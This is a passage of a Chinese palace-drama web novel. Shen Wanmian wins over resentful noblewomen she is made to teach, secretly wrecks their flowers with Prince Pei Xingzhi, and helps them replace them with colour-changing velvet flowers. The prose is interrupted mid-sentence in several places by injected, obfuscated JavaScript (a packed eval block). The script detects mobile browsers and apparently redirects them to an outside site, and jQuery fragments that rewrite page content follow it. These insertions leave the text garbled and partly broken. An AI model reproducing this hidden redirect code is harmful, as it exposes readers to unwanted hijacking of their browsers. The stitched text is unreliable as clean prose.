京城世家的女娘她大多都见过，唯独江相家的是个意外。 江时愿从人群中款步上前。 “臣女江时愿，参见贵妃娘娘。” “不必多礼。” 萧贵妃细细打量起面前女子。 她身着一袭月白色的绫罗纱裙，身姿纤细，墨发如瀑。 面色白皙如玉，眉目清冷。 给人一种淡淡的疏离感。 江时愿幼时生过一场大病，江相和江夫人遍寻名医，却都束手无策。 就在江相夫妇绝望之时，一位云游至此的年轻道长为他们带来了生机。 道长称她的命格与京城的浮华相冲。 只有远离喧嚣，同他去到深山修行，才可保下性命。 江相夫妇虽不愿与爱女分离，但为了能让女儿活着，只能忍痛将女儿送走。 那道长还说，江家人命格富贵，又与江时愿血脉相连。 修行期间江家人不能与她相见，否则会功亏一篑。 正因如此，此后十年，江时愿都没归过家。 直到前些日子，道长来信，说江时愿已**，这才被接回。 “上一次见你，还是个孩童，你的病可好全了？” 江时愿轻声答道：“谢娘娘记挂，臣女已无碍。” 萧贵妃满意的点点头。 在外面养了这么久，倒没长歪，相貌气质都是绝佳。 “本宫将你们聚在一起，是想让你们学些本领，别的话本宫就不多说了，慧心，将人都带上来吧。” 慧心把三位姑姑领入正殿。 “这位是孙姑姑，往后就由她教各位小姐插花品茶，焚香刺绣。” 孙姑姑面容慈和，嘴角常年噙着笑意。 “这位是钱姑姑，主教礼仪规矩，女训女德。” 钱姑姑眼神犀利，刚好与孙姑姑形成对比。 “这位是芳姑姑，芳姑姑从前是教坊司的乐官，以后便教导小姐们琴棋书画。” 芳姑姑仪态端庄，面容姣好，是三位姑姑中，最年轻的。 慧心看向萧贵妃身边的沈晚眠，一时不知该如何开口。 “呃……这位是沈太傅之女沈二小姐沈晚眠，她教导你们中馈之术。” 此话一出，原本还安静恭顺的女娘们瞬间不淡定了。 沈家那个不受宠的女儿？她教她们？ 她凭什么教她们？且不说她资历如何，单看年岁，她们当中任何一个，都比她要年长吧。 贵妃娘娘是在跟她们开玩笑吗？ 除了江时愿，其他几位都在小声议论，特别是卢珊珊，她最不服气。 原本她看到沈晚眠跟着贵妃娘娘进来，还以为她和她们一样。 她都想好怎么孤立她了，结果现在告诉她沈晚眠当的是先生。 她怎么配！？ “几位小姐稍安勿躁，沈二小姐年纪是小了些，但她的确算的一手好账，连宫里有经验的管事都自愧不如。” 慧心的话没有起到半点作用，反而让她们更不服气。 “本宫与其他妃嫔都曾受过沈老夫人教导，皇子公主们更是跟着沈太傅启蒙。” “她祖母教得，她父亲教得，怎么她就教不得？” 萧贵妃的话成功让她们闭了嘴。 都知道如今后宫是谁做主，谁敢反驳贵妃娘娘的话。 “还是说，你们认为，自己比公主皇子还要高贵。” 轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其余人也跟着点头，她们先不说别的，她们可没有做娘娘的姑母。 况且她们想嫁入皇室，就得先过贵妃这关。 “你们真是糊涂，如果贵妃娘娘真的看重她，又怎会连她的小字都不知。” 其余人被她的话搞糊涂了，她在说什么？ “今日贵妃娘娘唤她“晚眠”，看似亲近，实则只是做给咱们看。” 叶清瑶疑惑道：“你什么意思？” 第69章 旧事 “我知道沈晚眠有个小字，名叫昭昭，贵妃如果真的看重她，怎么连这都不知？” 卢珊珊继续引导：“而且你们不觉得很奇怪吗，贵妃明知让她教咱们会引起不忿，还硬要让她来，这是不是很像在考验她。” 众人一听，觉得她说的很有道理。 都忍不住竖起耳朵继续听她讲。 “依我看，她和咱们一样，都想嫁入皇室，只不过考验她的方式和咱们不同，但是凭什么，这一点都不公平。”、 众人纷纷点头，如果真的是这样，那她凭什么搞特殊。 “所以啊，听我的，到她授课时，咱们索性都不去听，叫她计划落空。” 几人认真思索了一番，都同意了她的意见。 毕竟她们也曾接触过账目，真是看一眼都头晕的程度。 众人都表了态，唯独江时愿一直没参与她们的讨论。 卢珊珊小心翼翼道;“江四小姐以为如何？” 江相在朝中，可是一人之下万人之上。 江时愿虽自小不在京城中，她们也不敢轻易怠慢了她。 江时愿轻轻嗯了一声，算是答应下来。 她不想引人注意，那就随波逐流好了。 卢珊珊见所有人都被她说动。 内心止不住的得意。 敢跟她作对，她必得让她下不来台。 月上枝头，沈晚眠托着下巴坐在窗前，忍不住为自己叹气。 眼下复仇的事情似乎离自己越来越远。 前有裴行止逼着要答复，后有萧贵妃给她出难题。 中间还夹着裴宴想“再续前缘”。 绊住她脚步的事，似乎越来越多。 “沈二小姐，你在吗？” 徐娇娇的声音隔着门缝传来。 沈晚眠有些疑惑，她来做什么？ 莫不是想…… “进来吧。” 徐娇娇轻轻推开门，手里还拿着一封信。 她来到沈晚眠身边，将信递到她面前。 “上次你托我向家里问的事，家里回信了。” 沈晚眠激动的站起身，终于有正事要做了。 她将信件打开，看完后，她却眉头紧皱。 事情好像与她想的不太一样，母亲好像并非像传言那般对沈知舟爱而不得。 信里写的含糊，似乎李家不让提及这件事。 真相到底是什么，母亲到底有什么不为人知的往事？ 若想知道真相，看来外祖家必须得去一趟。 “你来找我，就是为了这件事？” 徐娇娇点点头。 “你没有别的事要问我吗？或者想让我帮你办事？” 她以为徐娇娇会顺势提出想和储秀宫的女娘一起听学。 毕竟她来永和宫找自己，不就是为了学东西。 “沈二小姐觉得我想如何，和京城贵女们在同一间屋子里相处？和她们争夺皇子？” 沈晚眠有些尴尬，她这话也太直白。 “我来永和宫，就是为了跟您学真本领，我自己什么身份我还是清楚的，嫁入皇室的梦我就不做了，我只想学些本事，以后到了夫家不至于被嫌弃。” 她说的十分坦荡，倒让沈晚眠有些无地自容。 还有她不过是教了她一些看账本的技巧，本领是真称不上。 “哈哈……你身上的味道好香啊，我好像从来没闻过这种味道。” 沈晚眠不知该如何接话，只得转移话题。 徐娇娇也觉得她的话有些冲，便不再继续刚才的话题。 “我看御花园的花正艳着，宫女们就要扔了换新的，未免有些可惜，便跟她们要来磨成了花粉，我房里还有很多，如果你喜欢，我便给你带些。” 沈晚眠欣然接受：“好啊，谢谢你。” 她并非真想要，而是用这种方式告诉对方，她不必惶恐。 送走了徐娇娇，沈晚眠平躺在床上，叹了口气。 她的好日子算是到头了。 转眼到了第二日。 众人听完钱姑姑的课，便在卢珊珊的带领下跑回了住处。 等沈晚眠到时，早已不见一个人影。 知道她们会为难自己，但没想到她们连面都不露。 也罢，自己就在这坐一个时辰吧。 反正回去也要被萧贵妃质问。 能拖一刻是一刻。 门外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133874|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假山后，卢珊珊悄悄探出头。 只见沈晚眠席地而坐，竟随意拿起一本女训有滋有味的看了起来。 她还真能沉得住气，不过等着瞧吧，有她好受的。 不出卢珊珊所料，当天傍晚沈晚眠便被萧贵妃叫到跟前。 训斥她无所作为。 还对她提出要求，以后必须能留住她们。 萧贵妃让沈晚眠去教，为的就是这些女娘日后能记着她的好。 现在她们都不去听讲，她的计划不就落空了吗。 沈晚眠虽然心里在吐槽，但面上可不敢有半分不耐。 她连连称是，并且再三保证自己能做到。 没办法，寄人篱下就得有寄人篱下的态度。 看来她得使点手段，才能留住她们。 不过也有卢珊珊没料到的，那就是她自己也被“约谈”了。 珍妃靠在榻上，无奈又气愤的揉着眉心。 “你啊你，你让我说你什么好，上次你表兄来我这里告你的状，我替你压下了，这次你又搞幺蛾子，人家沈晚眠怎么得罪你了，你要一而再，再而三的对她使绊子。” 卢珊珊虽然跪在地上，腰板却挺的笔直。 “姑母，她勾引表兄，意图不轨，我不过是给她点教训，让她知难而退。” 珍妃被她气的手指都在发抖。 “是你表兄先喜欢的人家，你要是有本事怎么不去难为你表兄？” “说到底你就是欺软怕硬！” 卢珊珊撇撇嘴，姑母怎么能这样说自己。 “您怎么胳膊肘往外拐，哎呀您就帮帮侄女吧，我心悦表兄，想嫁给他。” 这丫头从小就缠着她表兄，如果行止真的对她有意思，他俩早就成了。 更何况他已经有了倾慕的女娘，她这个做母妃的，总不能强迫自己的儿子吧。 “你表兄的事我管不着，不过只要是他喜欢的，我都支持，你要是有那个能耐夺回他的心，再来同我讲这些吧。” “明日，你必须去听沈二小姐的课，若是不去，宫里你也别待了，趁早收拾东西回家吧。” 卢珊珊还想说点什么，但触及到姑母的目光，还是把话咽了下去。 第70章 故事 虽然不情愿，但她别无选择。 卢珊珊憋着一肚子气回到储秀宫。 其余人全当没看见。 她们的确不想去听沈晚眠的课，可卢珊珊挑拨在前。 她也不是什么好人。 又过了一日，到最后一堂沈晚眠的课，其余人都像昨日那般跑路。 唯独卢珊珊，冷着脸坐在位子上不动。 楚月有些好奇。 “卢姐姐，你怎么不走？” 前日明明是她提出的逃课，怎么短短一日她就反悔了。 “你管人家做什么，还不快走。” 叶清瑶拉过楚月，压低声音对她耳语道。 “可是……” 卢珊珊都留下了，万一贵妃生气，惩罚她们怎么办。 “你想对着繁琐的账本坐一个时辰？” 楚月拨浪鼓似的摇摇头，她不想。 “那不就得了，快走。” 二人离开后，整个房里只剩卢珊珊一人。 沈晚眠推开门时，看到黑着脸的卢珊珊，明显一愣。 没想到今天居然有人，还是最讨厌她的那个。 沈晚眠二人谁都没开口，场面陷入尴尬。 “既然卢小姐肯赏脸，那我便讲课了。” 沈晚眠坐在上首，拿起书籍便开始念“紧箍咒”。 卢珊珊虽然没听进去，却也被这一连串的数字绕的昏昏欲睡。 就在她的头即将磕到桌案上时，沈晚眠移步到她身边，将她点醒。 被人叫醒的卢珊珊既尴尬，又恼羞成怒。 “你干什么！” 沈晚眠也不恼，只冲她微微一笑。 “不如我给你讲个故事吧。” 卢珊珊只感觉她莫名其妙。 她脸上的嫌弃丝毫不加掩饰。 “你发什么神经？” 沈晚眠脸上的微笑没有变，她自顾自说自己的。 “从前，有一位女娘，她自小便倾慕一位将军，为了与那将军修成正果，她便主动找上将军，向他表明心意，可那位将军志向高远，心中没有儿女情长，便拒绝了女娘。” “女娘被拒绝后，也不气馁，她想既然将军喜欢领兵打仗，那她不妨女扮男装，混入军营，与将军拉近关系……” 沈晚眠将十年后最流行的话本子讲给卢珊珊听。 她讲的绘声绘色，像茶馆里的说书先生一般。 卢珊珊很快便被情节迷住，市面上的话本子她大多都了解。 都是些才子配佳人的老掉牙戏份，套路大致相同，如此新奇的故事她还是第一次听人讲。 “军中训练实在辛苦，女娘受不了，便偷偷跑到河边躲懒，她靠在树边为自己叹息，突然，她看到将军从远处而来，身后还跟了一位面若桃花的女娘……” 沈晚眠讲到精彩处，突然停顿。 卢珊珊已经完全被带进去了，此刻她早已将与沈晚眠的恩怨抛到九霄云外。 “然后呢？” 她兴致勃勃的问道。 沈晚眠“不经意间”瞥到日冕，呀，到时间了啊。” “故事还很长，明日我在跟卢小姐讲，就当感谢卢小姐的捧场。” 沈晚眠不理会卢珊珊什么表情，直接离开了。 卢珊珊见状只能作罢，她魂不守舍的回到住处。 几个在院中玩耍的女娘，见她这副样子，忍不住凑在一处讨论。 晚膳时间，卢珊珊还在回味刚才的故事。 楚月最是好奇，沈晚眠到底跟她讲了什么，能让她丢了魂一般。 “卢姐姐，你怎么了？” 卢珊珊像是打开了话匣子，一股脑说了好多。 “今日我听了一个故事，那故事甚是新奇，讲的是一个女娘……” 她话说到一半，突然意识到，这故事明明是她硬坐了一个时辰才换来的，为何要让她们白白听去。 她们听的正入神，卢珊珊突然闭嘴不讲了，可把她们急坏了。 “卢姐姐你继续讲啊，后来怎么样了？” “想听就明日自己去听呗。” 反正她是逃不掉了，还不如多拉几个垫背的，同她一起。 剩下的人面面相觑。 明日沈晚眠的课，看来有必要去探探究竟。 江时愿在角落听着，不禁感叹此人的确有些手段。 既然她们都准备留下，那她也跟着奉陪。 沈晚眠心情大好，本想着要废些功夫，没想到这么轻易就搞定了。 肯定是珍妃娘娘警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133875|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告了卢珊珊。 这样一来，她好像又欠了裴行止的人情…… 她怎么老是与他纠缠不清。 她们之间的关系，就像一团麻线，越理越乱。 之后几日，那些个女娘都没在缺席过她的课。 萧贵妃也不再向她施加压力。 可还没等她消停几日，就又出状况了。 这日萧贵妃考察女娘们的课业。 前三门都马马虎虎过关，可到了她这门，竟没一人能答上。 她们不逃课了是不假，但她们都是冲着她的故事来的。 没有一人认真听课。 萧贵妃气的将她们数落了一通，随即叫她们回房反省。 然后她又将沈晚眠叫到跟前。 “人是留住了，可你教的都是什么！” 萧贵妃一通数落，她只能低着头挨训。 她们不听她又有什么办法。 总不能掰着她们的脑袋硬讲吧。 “本宫不管你用什么办法，务必在下次考核前，让她们学进去东西。” 又给她出难题，但她又不能拒绝。 唉，在她手底下讨生活，实在是难。 与沈晚眠不同，那些女娘虽然被训了，但依旧兴奋。 因为她们终于可以和皇子们见面了。 今日考核时，萧贵妃告诉她们，过几日要办一场宫宴，向众皇子介绍她们。 还将办宴会的事务交给她们，让她们有展示自己的机会。 众人都兴奋极了。 她们可得在宴会上大展身手。 给皇子后妃们留下一个好印象。 她们你一言，我一语，不过一晚上，便把宴会事宜都策划好了。 之后几日，萧贵妃特意停了她们的课，给她们留出时间准备。 沈晚眠得了空闲。 便琢磨着怎么让她们认真听自己讲。 “吉祥，你去打听打听，她们都准备了什么。” 吉祥很快便把消息带回。 “小姐，都打听清楚了，和普通的宴会没差别，就是多了几段才艺表演，刚才我看她们一个个打扮的花枝招展的，不知道还以为她们要参加选妃。” 听着吉祥的吐槽，沈晚眠突然有了主意。 第71章 采花 “她们准备鲜花了没？” 既然要烘托美人，定得有鲜花做衬。 吉祥点点头：“准备了，而且还备了不少名贵的。” 沈晚眠勾了勾唇，机会这不就来了。 月黑风高夜，负责看守道具的卢珊珊坐在院子里昏昏欲睡。 这几日她们轮流当值，生怕出现什么意外。 可卢珊珊却不以为意。 她们如今可是在守卫森严的皇宫，天子身侧，哪里会有意外。 沈晚眠一身黑衣趴在墙头。 趁着卢珊珊昏睡之际，她将之前剩的**拿出。 她先将卢珊珊迷晕，而后又轻手轻脚的从墙头跳下。 她蹲到卢珊珊身旁，用手指戳了她两下，又轻声喊了她几声。 很好，没有反应。 瞧瞧这满院芬芳，她该从哪里下手呢？ 不管了，都给她们破坏了。 她蹲在花丛中间，拿起剪刀就开始搞破坏。 这么名贵的牡丹，肯定是内务府精心培育的许久。 不过可惜了，今日这采花贼，她是当定了。 明月的光辉洒了满院，一个纤细的黑影在花丛掠过。 她所到之处，没有一朵花能幸免，地上全是花的残骸。 就在她剪的不知天地为何物时。 身后忽然传来脚步声。 沈晚眠动作一顿，整个人都僵住了。 院子里刮过一阵冷风，吹的她起了一身鸡皮疙瘩。 地上的几朵花吹到她的身上，她忍不住一哆嗦。 镇静，一定得镇静，听这动静，应该只来了一个人。 既然她没声张，那就说明还有转圜的余地。 她挤出一抹“和善”的笑容，转过身想和对方好好谈谈。 看清背后的人是谁后，她的表情险些没绷住。 怎么又是他！ 裴行止立在原地，表情严肃。 沈晚眠在心底暗叫不好，怎么每次做坏事都能被他逮到。 随后，他在沈晚眠震惊的目光中掏出一把剪刀。 学着沈晚眠的样子蹲在地上吭哧吭哧剪了起来。 不是……这对吗？ 沈晚眠不理解，但她尊重。 短暂的震惊过后，她继续做“采花大盗”。 二人就这么一声不吭的将院中的花糟蹋了个遍。 终于大功告成，她累的都要站不起身。 裴行止想搭把手扶着她，她却下意识想避开。 她往后退了一步，刚好踩到地上的花。 花瓣太滑，她踩上去的瞬间便控制不住往后倒去。 裴行止伸出长臂想要拽住她，却也踩到花瓣上。 于是二人以一种十分诡异的姿势齐齐摔在地上。 江时愿听到动静，立马警觉起来。 她来到殿外，刚好撞见这一幕。 满园的残花，醒不过来的卢珊珊，还有这二人糟糕的姿势。 很难不让人浮想联翩。 “江四小姐，外面发生什么了。” 隔壁房里传来楚月的声音。 江时愿几乎是脱口而出：“没什么……” 觉得自己的回答过于突兀，她又补充道：“花盆倒了，我去扶一下。” “哦……需要帮忙吗？” “不需要，你睡吧。” 沈晚眠都懵了，她为何会替自己隐瞒？ 裴行止从她身上起来，又将她从地上捞起。 江时愿站在门口。 看着沈晚眠用口型向她道谢，又看着裴行止带着她跳墙离开。 能取得贵妃的信任，又和皇子不清不楚。 沈晚眠……一定不简单！ 第二日一早，卢珊珊被尖叫声吵醒。 她烦躁的揉了揉眼睛，奇怪，她什么时候睡过去的？ “吵什么！” 卢珊珊不满道。 看着满院狼藉，叶清瑶几乎要崩溃。 她跑到卢珊珊面前，指着她的鼻子质问道：“让你看着院子，你就是这样看的！” 卢珊珊也注意到情况不对。 顶着七人怨愤的眼神，她又恼又气。 “一定是沈晚眠！对，一定是她，我之前在猎场……总之一定是她干的。” 不等众人做出反应，卢珊珊就已怒气冲冲的离开了院子。 “江四小姐，昨日你出来时，可察觉到异样？” 楚月担忧问道。 江时愿摇摇头：“昨日我出来时还好好的。” 她们并不相信卢珊珊的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133876|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，虽然一开始她们逃了沈晚眠的课。 可后面几日相处，她们发现沈晚眠并没有卢珊珊说的那般不堪。 反而行事大方利落，编的故事也很有趣。 “花没了，宴会怎么办啊。” 叶清瑶的声音染上哭腔，这些话是她从内务府精挑细选选出来的。 宴会的氛围就靠这些花来烘托。 现在全毁了。 江时愿觉得，沈晚眠不是那种行事冲动的人，她这么做一定有她的目的。 “不如咱们去问问沈二小姐，她聪明伶俐，或许有法子帮咱们。” 其余人觉得她说的有道理。 沈晚眠才十六岁，便能打理那些复杂的账本。 而且单凭她讲的故事就能看出，她绝对是有想法的。 众人赶到永和宫时，卢珊珊正在院中撒泼。 要不是有吉祥拦着，她手里的扫把就要落到沈晚眠身上。 “**，你竟敢做出如此卑鄙之事，看我不打死你！” 沈晚眠一边躲着，一边为自己辩解。 “一大早的你又发什么疯？” “我说了不是我做的！” 楚月有些着急，她们是来找人帮忙的，结果卢珊珊先把人得罪了。 “卢姐姐，有话好好说，别动手啊。” 卢珊珊才听不进去她的劝告。 “你们是傻的吗？咱们的花就是被她糟蹋的，还愣在哪里做什么，赶紧将她拿下！” 叶清瑶实在看不下去，她掐着腰，此刻也顾不得什么礼仪规矩。 对着卢珊珊破口大骂。 “明明是你看管不周，才让别人转了空子，现在又逮住人家沈二小姐不放，是你与人家有仇，我们又没得罪过人家，人家为何要连同我们一起害？” 她已经完全忘了第一日逃课的事。 沈晚眠跟着附和：“就是，破坏你们的东西对我有什么好处，别忘了我也算你们半个先生，咱们一荣俱荣一损俱损！” “与其逮住我不放，不如好好想想，到底该如何补救，还有这宫中最想你们搞砸事情的，到底是谁！” 要说她们最大的竞争对手，当属呼延婷。 虽然没见过这位传说中的王女，可她的“丰功伟绩”早已在京中广为流传。 第72章 绒花 沈晚眠的话成功转移了众人的注意力。 就连卢珊珊都开始摇摆。 没办法，她只能先转移她们的注意力。 反正她们没那个胆子闹到呼延婷那里。 “大清早的闹什么呢！” 她们的动静太大，直接将有起床气的萧贵妃吵醒。 见到萧贵妃，卢珊珊不敢继续撒泼。 她连忙将手中的扫把藏在身后。 她的小动作怎么能瞒得过萧贵妃。 “你，藏的什么，拿出来。” 卢珊珊低下头，咬紧下唇，心虚的将扫把拿到前面。 萧贵妃皱起眉头。 这是欺负人都欺负到她头上了。 她刚要发作，却听沈晚眠为她辩解。 “贵妃娘娘，卢小姐在帮我扫院子呢，你们说是吧。” 其他人都懵了，没想到沈晚眠居然会帮卢珊珊辩解。 “贵妃娘娘，是这样的。” 江时愿率先出声。 其余人赶紧跟着点头。 萧贵妃无语的看了一眼沈晚眠。 这丫头是傻的吗？算了，随她吧。 “好啊，既然是来帮忙的那就把永和宫里里外外都打扫一遍吧，你们几个，一起。” 终于送走这尊大佛。 “都怪你，咱们的事情还没解决，现在还要干别的活。” 叶清瑶都快被卢珊珊气**。 她怎么这么能作妖！ 江时愿没说话，默默拿起扫把开始扫地。 都这种时候了，抱怨有什么用。 还不如赶紧解决完眼前的问题。 明日就要举办宴会。 反正她不着急，她对皇子不感兴趣，她入宫只是不愿江相为难。 其余人见了也纷纷开始干活。 叶清瑶还惦记着明日的宴会。 布景是她负责的，若事后萧贵妃问起，她可不想让萧贵妃觉得自己没有能力。 “沈二小姐，请你一定要帮帮我们。” 终于上钩了。 沈晚眠压下内心的雀跃，故作为难道：“叶三小姐未免太抬举我了，我也无能为力。” 卢珊珊刚冤枉完人家，人家不愿意帮忙也是正常。 “是她一人胡闹，我们都觉得此事与你无关，若你也没有法子，那就不打扰了。” 宫里能人巧匠多的是，她可以找别人帮忙。 只是若寻旁人，鲜花被破坏的事必然会暴露。 就算她们是受害者，也会让人觉得她们无能。 “我先前也说了，咱们一荣俱荣一损俱损，你们有难，我自当帮忙，我想到一个法子，不过有些辛苦，不知各位能否接受。” 沈晚眠怕玩脱了，立马拉回话题。 叶清瑶眼前一亮，赶紧点头道：“能接受，我们一定能接受。” “好，你们且先扫着，我去准备些东西。” 一个时辰后，她们终于将永和宫扫完了。 这些世家小姐，哪里干过这样的粗活。 她们垂头丧气的回到储秀宫，对卢珊珊的不满达到了顶峰。 今日一切都是她害的。 沈晚眠早已等候多时。 “既然真花没有了，就用假花代替，这些是做绒花的材料，我已为你们备齐。” 叶清瑶对她的想法有些失望。 “鲜花不光美丽，还芬芳，绒花是否过于朴素。” 沈晚眠早就料到她会这么说，她拿起一朵编好的绒花，递给叶清瑶。 “你吹一口气。” 叶清瑶虽然不明白她的用意，但还是照做了。 只见原本赤色的花瓣，被她一吹，竟变为了蓝色。 “明日再户外，微风拂过，此花便会变色，而且我已备好香粉，绒花完工后，可以将香粉洒入，这样便可与鲜花效果相同。” “且绒花价廉又美观，陛下倡导后宫节俭，明日见了定会夸赞。” 众人纷纷称奇，想不到沈晚眠真有两下子。 在沈晚眠的示范下，所有人都开始学做绒花。 卢珊珊虽不情愿，但她已经激起众人怨怼。 只能老老实实的跟着干活。 终于在天黑之前，做够了数目。 “今日的事多谢沈二小姐，往后你有需要帮助的，我们绝不推辞。” 江时愿被众人推出代表她们向沈晚眠道谢。 沈晚眠微微一笑。 “我还真要拜托你们一件事。” “往后我讲课，还请各位入些心，贵妃娘娘那里，实在不好交代。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133877|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她们第一日便逃了人家课，现在又被卢珊珊冤枉。 如今能不计前嫌帮她们，她们哪里还好意思难为她。 “好，我以后一定认真学。” 楚月第一个站出来回话。 其余人也跟着附和。 唯独卢珊珊没发话，她还是觉得今日的事与沈晚眠脱不了干系。 不过沈晚眠也不在乎她一人。 沈晚眠拜别了她们，并没有立马回自己的房间。 而是去找了徐娇娇。 今日的香粉，都是找她借的，她得好好谢谢她。 “今日的事多谢了，过几日我陪你一起做花粉。” 徐娇娇笑了笑。 “好啊，做不完不放你走。” “今年你要在宫中过年吗，你归家吗？” 徐娇娇摇了摇头。 “不知道，还没想好，你想赶我走？” 二人的关系从上一次夜谈过后便亲近了许多。 沈晚眠故意道：“不然呢，我还要亲自把你押回扬州。” 徐娇娇了然，原来她是想去扬州。 “你表兄不是在京城吗，过年他总得归家吧，你让他带你去不就得了。” 她原本也是这样想的。 上次看过徐家来的信后，她觉得李家好像在刻意隐瞒什么。 如果她直接去李家，可能什么都查不到。 若她一人独自前往，人生地不熟的，恐怕也很难打听出真相。 而且路途遥远，她自己去也有些害怕。 徐娇娇本就是从扬州来的，有她在至少不会迷路。 “我就想跟你去嘛，你好好考虑考虑。” …… 卢珊珊憋了一肚子气无处发泄。 明明沈晚眠是嫌疑最大的，现在她竟然成了“救世主”。 那些个蠢货还都对她感恩戴德。 真是没救了。 她实在气不过，便独自一人跑出来发泄。 刚好碰到皇后宫中的染秋。 皇后一直让染秋注意着储秀宫的动静。 自然知道今日发生了何事。 “卢小姐这是怎么了，为何一人在此啊？” 卢珊珊有些尴尬，刚才她骂沈晚眠的那些话不知被她听到了几句。 第73章 偏心 “我有些闷，出来走走，哈哈哈，姑姑去忙吧，不用管我。” 染秋十分善解人意道：“小姐有什么烦心事，不妨说与皇后娘娘听听，说不定皇后娘娘能帮您呢。” 卢珊珊有些心动，早就听闻沈晚眠得罪过皇后。 可她去找了皇后，若事情败露，会不会牵扯到姑母？ 染秋知道她动了心，也知道她在担忧什么。 随即蛊惑道：“天知地知你知我知，放心，我悄悄带小姐去见皇后娘娘，只要小姐自己不说，没人会知道。” 卢珊珊心一横，她绝对不允许沈晚眠继续嚣张！ 宫宴在湖心亭举办。 皇子公主，后宫妃嫔，除了禁足的三皇子，和“病重”的皇后，还有镇守边关的两位皇子，其余全都到齐。 微风拂过，绒花轻轻摇曳，在两种色彩之间来回变换。 空中还散发着鲜花的香气。 众人纷纷称奇。 “这绒花是谁做的？心思这般灵巧，还有这花香是从何而来？” 皇帝的话将八人问住。 宫宴由她们负责，但这却是沈晚眠弄的。 如果不说实话，有些不太好看，可若说了实话，风头不就被沈晚眠抢了去。 “回禀陛下，是……” “回禀陛下，是八位小姐一起想的法子，而这花香，是出自兰嫔娘娘的侄女，徐家女娘之之手。” 叶清瑶见没人回答，本想独占功劳，却被沈晚眠先一步抢答。 皇帝点点头。 “很好，全都有赏。” 叶清瑶见皇帝压根没注意她，只得悻悻退下。 同时心里对沈晚眠也多了几分怨怼。 徐娇娇没想到沈晚眠会提到自己。 她坐在角落，朝沈晚眠投去感激的目光。 隔着人群，二人相视一笑。 “朕听说你也是教她们的先生，但教的东西却没一人学会，可有此事啊？” 皇帝故意调笑道。 沈晚眠有些汗颜，这事都传到皇帝耳朵里去了。 真是丢人丢大发了。 “臣女惭愧。” 皇帝哈哈大笑。 “这方面你可比不得你父亲啊。” 看到沈晚眠，皇帝想到她与呼延婷似乎交好。 “对了，王女怎么还没来？” 呼延婷如今住在皇宫的外使馆。 今日宴会自然也得参加。 宣妃听到皇帝的话得意的勾了勾唇。 这可是她故意安排的，绝对不能再让卿尘被她迷惑！ 这时呼延婷匆匆而来。 “阿婷来迟，还望陛下恕罪。” 皇帝笑意不减。 “无妨，快坐吧。” 皇帝让呼延婷入座，可只剩最远处还有几个空位。 “老四，你去后面坐，把位置让给王女。” 裴卿尘的左边是裴宴，右边是裴行止。 皇帝没有让呼延婷和公主们坐一起，反而让她坐到两个皇子中间。 其意图不言而喻。 裴卿尘握紧的拳头，终究还是松开了。 父皇还是这般偏心。 还是这般不重视自己。 明眼人都能看出来，呼延婷明明是为了他才主动提出和亲。 可父皇却迟迟不肯赐婚。 现在还让她坐在老五老七中间。 “阿婷怎么好意思抢四殿下的座位。” “不如四殿下陪我一起去后面坐吧。” 呼延婷笑的灿烂，满心满眼都是裴卿尘。 裴卿尘这才稍稍安心。 只要呼延婷心里有自己，父皇也不能强将她嫁给别人。 裴宴和裴行止，时不时便往对面看去。 坐在沈晚眠身边的女娘，都以为二位殿下在看自己。 不由得红了脸。 看这情形，四殿下已经是呼延婷的了，那就只剩太子，宸王，还有八皇子。 与前两位皇子相比，八皇子便显得没那么出色。 所以她们的重心都放在了这二位身上。 坐在沈晚眠右侧的叶清瑶，都要激动坏了。 太子殿下怎么老看她。 莫不是看中她了！ 前有沈晚眠，后有江时愿。 萧贵妃只对这二人上过心。 她以为自己在太子这里已经没戏了。 可今日太子的举动，让她重燃信心。 江时愿坐在沈晚眠左侧。 对面两位皇子的动作她全都看在眼里。 原来那天夜里的人就是打败西瀛的宸王。 不过这沈晚眠 